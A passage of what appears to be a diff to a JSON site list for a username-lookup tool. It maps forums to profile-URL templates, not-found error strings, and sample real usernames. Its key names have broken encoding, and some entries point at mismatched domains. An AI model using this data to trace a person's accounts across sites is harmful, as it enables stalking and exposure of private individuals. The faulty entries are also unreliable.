"headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tbrus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tbrus.ucoz.ru/index/8-0-{}", + "urlMain": "https://tbrus.ucoz.ru", + "usernameON": "aktotytusipkalieva", + "bad_site": "" + }, + "Forum_tdiclub": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.tdiclub.com/index.php&members/?username={}", + "urlMain": "https://forums.tdiclub.com", + "usernameON": "matthew16", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_team-pros": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://team-pros.3dn.ru/index/8-0-{}", + "urlMain": "https://team-pros.3dn.ru", + "usernameON": "leifwoolned", + "bad_site": "" + }, + "Forum_tebepolezno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://tebepolezno.ucoz.ru/index/8-0-{}", + "urlMain": "https://tebepolezno.ucoz.ru", + "usernameON": "Wtgrljya", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_techclan_planeta2": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://techclan.planeta2.org/index/8-0-{}", + "urlMain": "http://techclan.planeta2.org", + "usernameON": "youmather", + "bad_site": "" + }, + "Forum_techenclave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://techenclave.com/members/?username={}", + "urlMain": "https://techenclave.com", + "usernameON": "jacob909", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_techguy": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techguy.org/members/?username={}", + "urlMain": "https://www.techguy.org", + "usernameON": "novictory", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_techist": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techist.com/forums/members/?username={}", + "urlMain": "https://www.techist.com", + "usernameON": "benefitspils3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_technofino": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://technofino.in/community/members/?username={}", + "urlMain": "https://technofino.in", + "usernameON": "abhishek012", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_techsupport": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.techsupportforum.com/members/?username={}", + "urlMain": "https://www.techsupportforum.com", + "usernameON": "masterchiefxx17", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_teckelfriends": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://telesat-news.net/index/8-0-{}", + "urlMain": "https://telesat-news.net/", + "usernameON": "peresihne", + "bad_site": "" + }, + "Forum_tellopilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tellopilots.com/members/?username={}", + "urlMain": "https://tellopilots.com", + "usernameON": "cougare", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tenews": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://teron.at.ua/index/8-0-{}", + "urlMain": "https://teron.at.ua", + "usernameON": "nieminenmik", + "bad_site": "" + }, + "Forum_terraforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.terraforum.net/member.php?username={}", + "urlMain": "https://www.terraforum.net", + "usernameON": "mcdonald", + "comments": "bad", + "bad_site": "" + }, + "Forum_terror62": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://terror62.ru/index/8-0-{}", + "urlMain": "http://terror62.ru", + "usernameON": "Trotskiy", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_terrylove": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://terrylove.com/forums/index.php?members/&username={}", + "urlMain": "https://terrylove.com", + "usernameON": "arisonpump", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tezosagora": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.tezosagora.org/u/{}/summary", + "urlMain": "https://forum.tezosagora.org", + "usernameON": "kevinmehrabi", + "bad_site": "" + }, + "Forum_TG": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tgforum.ru/members/?username={}", + "urlMain": "https://tgforum.ru", + "usernameON": "grigorii", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thaidog": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-brinkoftime.ru/index/8-0-{}", + "urlMain": "https://the-brinkoftime.ru", + "usernameON": "Kardinal", + "bad_site": "" + }, + "Forum_the-covenant": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-covenant.ucoz.ru/index/8-0-{}", + "urlMain": "https://the-covenant.ucoz.ru", + "usernameON": "Gwynbleidd", + "bad_site": "" + }, + "Forum_the-sunny": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://the-sunny.ucoz.ru/index/8-0-{}", + "urlMain": "https://the-sunny.ucoz.ru", + "usernameON": "Sejlin", + "bad_site": "" + }, + "Forum_thebassbarn": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thebassbarn.com/members/?username={}", + "urlMain": "https://www.thebassbarn.com/", + "usernameON": "hardtop", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thebenchtrading": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thebenchtrading.com/members/?username={}", + "urlMain": "https://thebenchtrading.com/", + "usernameON": "dragonslayer913", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thebrownsboard": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thebrownsboard.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.thebrownsboard.com", + "usernameON": "calfoxwc", + "bad_site": "" + }, + "Forum_thecatsite": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thecatsite.com/members/?username={}", + "urlMain": "https://thecatsite.com", + "usernameON": "stefanz", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thecoding": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thecodingforums.com/members/?username={}", + "urlMain": "https://www.thecodingforums.com/", + "usernameON": "nataliayou", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thecomicboard": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thecomicboard.com/members/?username={}", + "urlMain": "https://www.thecomicboard.com", + "usernameON": "selfishmisery", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedaobums": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "0 results", + "errorMsg2": "Not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.thedaobums.com/search/?&q={}&type=core_members", + "urlMain": "https://www.thedaobums.com", + "usernameON": "Maddie", + "bad_site": "" + }, + "Forum_thedarkmod": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.thedarkmod.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.thedarkmod.com", + "usernameON": "greebo", + "bad_site": "" + }, + "Forum_thedarts": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No members found", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thedartsforum.com/memberlist.php?username={}", + "urlMain": "https://www.thedartsforum.com", + "usernameON": "ChrisW", + "bad_site": "" + }, + "Forum_theden": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://thedenforum.com/u/{}/summary", + "urlMain": "https://thedenforum.com", + "usernameON": "weaselpuppy", + "bad_site": "" + }, + "Forum_thedieselgarage": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thedieselgarage.com/members/?username={}", + "urlMain": "https://www.thedieselgarage.com", + "usernameON": "carid", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedieselstop": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thedieselstop.com/members/?username={}", + "urlMain": "https://www.thedieselstop.com", + "usernameON": "bugman", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thedoctorwho": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.thedoctorwhoforum.com/members/{}/", + "urlMain": "https://www.thedoctorwhoforum.com", + "usernameON": "ps1l0v3y0u", + "bad_site": "" + }, + "Forum_thefappeningblog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thefappeningblog.com/forum/members/?username={}", + "urlMain": "https://thefappeningblog.com", + "usernameON": "peterwebb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefedoralounge": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefedoralounge.com/members/?username={}", + "urlMain": "https://www.thefedoralounge.com", + "usernameON": "kblake", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefewgoodmen": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefewgoodmen.com/thefgmforum/members/?username={}", + "urlMain": "https://www.thefewgoodmen.com", + "usernameON": "bootie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefinalfantasy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered", + "errorMsg2": "STANDARD_ERROR", + "errorMsg3": "content=\"final fantasy,", + "errorTyp��": "message", + "url": "https://thefinalfantasy.net/forums/members/{}/", + "urlMain": "https://thefinalfantasy.net", + "usernameON": "fuzz", + "bad_site": "" + }, + "Forum_thefirearms": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefirearmsforum.com/members/?username={}", + "urlMain": "https://www.thefirearmsforum.com", + "usernameON": "alpo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theflooring": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theflooringforum.com/members/?username={}", + "urlMain": "https://theflooringforum.com", + "usernameON": "dazlight", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thefootballforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thefootballforum.net/members/?username={}", + "urlMain": "https://www.thefootballforum.net", + "usernameON": "oakroader", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thegambling": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "Unavailable", + "errorTyp��": "message", + "url": "https://thegamblingcommunity.com/forum/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://thegamblingcommunity.com/", + "usernameON": "howfin", + "bad_site": "" + }, + "Forum_thegradcafe": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.thegradcafe.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.thegradcafe.com", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_thegreenliving": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://permies.com/forums/jforum?module=search&action=search&forum_id=-1&search_keywords=&match_type=all&search_in=ALL&forum=&groupByTopic=true&sort_by=time&sort_dir=DESC&search_date=ALL&member_number=&member_first_name={}&member_last_name=&member_match_type=memberPosted", + "urlMain": "https://permies.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_thegtaplace": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": " 0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://thegtaplace.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thegtaplace.com", + "usernameON": "chuken", + "bad_site": "" + }, + "Forum_thehomebrew": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thehomebrewforum.co.uk/members/?username={}", + "urlMain": "https://www.thehomebrewforum.co.uk", + "usernameON": "mashbag", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thehuddle": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://forums.thehuddle.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.thehuddle.com", + "usernameON": "red", + "bad_site": "" + }, + "Forum_theislamicquotes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.theislamicquotes.com/members/?username={}", + "urlMain": "https://forum.theislamicquotes.com", + "usernameON": "awanromesa", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theknot": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.theknot.com/profile/{}", + "urlMain": "https://forums.theknot.com", + "usernameON": "mrsconn23", + "bad_site": "" + }, + "Forum_thektog": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thektog.org/members/?username={}", + "urlMain": "https://www.thektog.org", + "usernameON": "editor", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thelaw": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thelaw.com/members/?username={}", + "urlMain": "https://www.thelaw.com", + "usernameON": "zddoodah", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_themodernfilmmaker": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.themodernfilmmaker.com/ru/profile/{}/profile", + "urlMain": "https://www.themodernfilmmaker.com", + "usernameON": "shadrachhanohano", + "bad_site": "" + }, + "Forum_theohiooutdoors": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theohiooutdoors.com/members/?username={}", + "urlMain": "https://theohiooutdoors.com", + "usernameON": "p8riot", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theologyonline": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://theologyonline.com/members/?username={}", + "urlMain": "https://theologyonline.com", + "usernameON": "benavraham", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_theoutlander": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://theoutlander.ru/index/8-0-{}", + "urlMain": "https://theoutlander.ru", + "usernameON": "talia", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_thepatriotwoodworker": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thepatriotwoodworker.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thepatriotwoodworker.com", + "usernameON": "frederickh", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_thephins": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thephins.com/members/?username={}", + "urlMain": "https://www.thephins.com", + "usernameON": "dolphin25", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thephoto": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thephotoforum.com/members/?username={}", + "urlMain": "https://www.thephotoforum.com", + "usernameON": "sterk03", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_theprodigy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь, чей профиль вы пытаетесь посмотреть, не существует.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.theprodigy.ru/index.php?board=13&action=viewprofile&user={}", + "urlMain": "https://forum.theprodigy.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Forum_thepw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено 0 результатов", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorTyp��": "message", + "url": "http://forum.thepw.ru/index.php?/search/&q={}&type=core_members", + "urlMain": "http://forum.thepw.ru", + "usernameON": "thepwsupport", + "bad_site": "" + }, + "Forum_therepair": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "title>Упс! Что-то пошло не так", + "errorMsg2": "Найдено 0 результатов", + "errorTyp��": "message", + "url": "https://therepair.ru/search/?&q={}", + "urlMain": "https://therepair.ru", + "usernameON": "Engineer", + "comments": "bad", + "bad_site": "" + }, + "Forum_therpf": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.therpf.com/forums/members/?username={}", + "urlMain": "https://www.therpf.com", + "usernameON": "wayneb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thesandtrap": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "0 results", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thesandtrap.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://thesandtrap.com", + "usernameON": "iacas", + "bad_site": "" + }, + "Forum_thescienceforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://www.thescienceforum.com/member.php?username={}", + "urlMain": "http://www.thescienceforum.com", + "usernameON": "mathman", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thesimsworldnew": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.thesimsworldnew.ru/index/8-0-{}", + "urlMain": "http://www.thesimsworldnew.ru", + "usernameON": "Samara", + "bad_site": "" + }, + "Forum_thesmartmarks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.thesmartmarks.com/search/?q={}&type=core_members", + "urlMain": "https://forums.thesmartmarks.com", + "usernameON": "janusd", + "bad_site": "" + }, + "Forum_thewatchsite": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.thewatchsite.com/members/?username={}", + "urlMain": "https://www.thewatchsite.com/", + "usernameON": "gatsuk", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_thewhitewolf": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://thewhitewolf.3dn.ru/index/8-0-{}", + "urlMain": "https://thewhitewolf.3dn.ru/", + "usernameON": "ttaletpbod", + "bad_site": "" + }, + "Forum_thewindowsforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thewindowsforum.com/members/?username={}", + "urlMain": "https://thewindowsforum.com", + "usernameON": "mook777", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_thrash-attack": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://thrash-attack.ru/index/8-0-{}", + "urlMain": "http://thrash-attack.ru", + "usernameON": "Manowarrior", + "bad_site": "" + }, + "Forum_thule": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://thule.ucoz.ru/index/8-0-{}", + "urlMain": "https://thule.ucoz.ru", + "usernameON": "jtaletbcse", + "bad_site": "" + }, + "Forum_thumpertalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thumpertalk.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.thumpertalk.com", + "usernameON": "mildride", + "bad_site": "" + }, + "Forum_tidalfish": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tidalfish.com/members/?username={}", + "urlMain": "https://www.tidalfish.com", + "usernameON": "longtail", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tigerdata": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.tigerdata.com/forum/u/{}/summary", + "urlMain": "https://forum.tigerdata.com", + "usernameON": "ts101", + "bad_site": "" + }, + "Forum_tights4men": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://time-paradox.ucoz.ru/index/8-0-{}", + "urlMain": "https://time-paradox.ucoz.ru", + "usernameON": "uliaandreeva149", + "bad_site": "" + }, + "Forum_timich": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://timich.ru/index/8-0-{}", + "urlMain": "http://timich.ru", + "usernameON": "rektie", + "bad_site": "" + }, + "Forum_titanquest": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://titanquest.org.ua/index/8-0-{}", + "urlMain": "https://titanquest.org.ua", + "usernameON": "Jack", + "bad_site": "" + }, + "Forum_tk_do": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tk.do.am/index/8-0-{}", + "urlMain": "https://tk.do.am", + "usernameON": "romzik3", + "bad_site": "" + }, + "Forum_tks": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "403 Forbidden", + "errorMsg3": "временно приостановлен", + "errorTyp��": "message", + "url": "https://forum.tks.ru/member.php?username={}", + "urlMain": "https://forum.tks.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Forum_tlm": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tokiogirl.ucoz.ru/index/8-0-{}", + "urlMain": "https://tokiogirl.ucoz.ru", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_tolkienist": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tolkienist.ucoz.ru/index/8-0-{}", + "urlMain": "http://tolkienist.ucoz.ru", + "usernameON": "Банту", + "bad_site": "" + }, + "Forum_tomtom": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tomtomforums.com/members/?username={}", + "urlMain": "https://www.tomtomforums.com", + "usernameON": "silberpfeil", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tootimid": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.tootimid.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.tootimid.com", + "usernameON": "eagle143", + "bad_site": "" + }, + "Forum_topeleven": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered", + "errorMsg2": "Top Eleven Forum", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.topeleven.com/member.php?username={}", + "urlMain": "https://forum.topeleven.com", + "usernameON": "Taliyah25", + "bad_site": "" + }, + "Forum_topgold": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://topgold.forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://topgold.forum/", + "usernameON": "Resolve", + "bad_site": "" + }, + "Forum_topgoldforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "There were no results for your search", + "errorTyp��": "message", + "url": "https://topgoldforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://topgoldforum.com", + "usernameON": "symphonizedbm", + "bad_site": "" + }, + "Forum_topteam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://topteam.ucoz.ru/index/8-0-{}", + "urlMain": "https://topteam.ucoz.ru", + "usernameON": "Spinne", + "bad_site": "" + }, + "Forum_toribash": { + 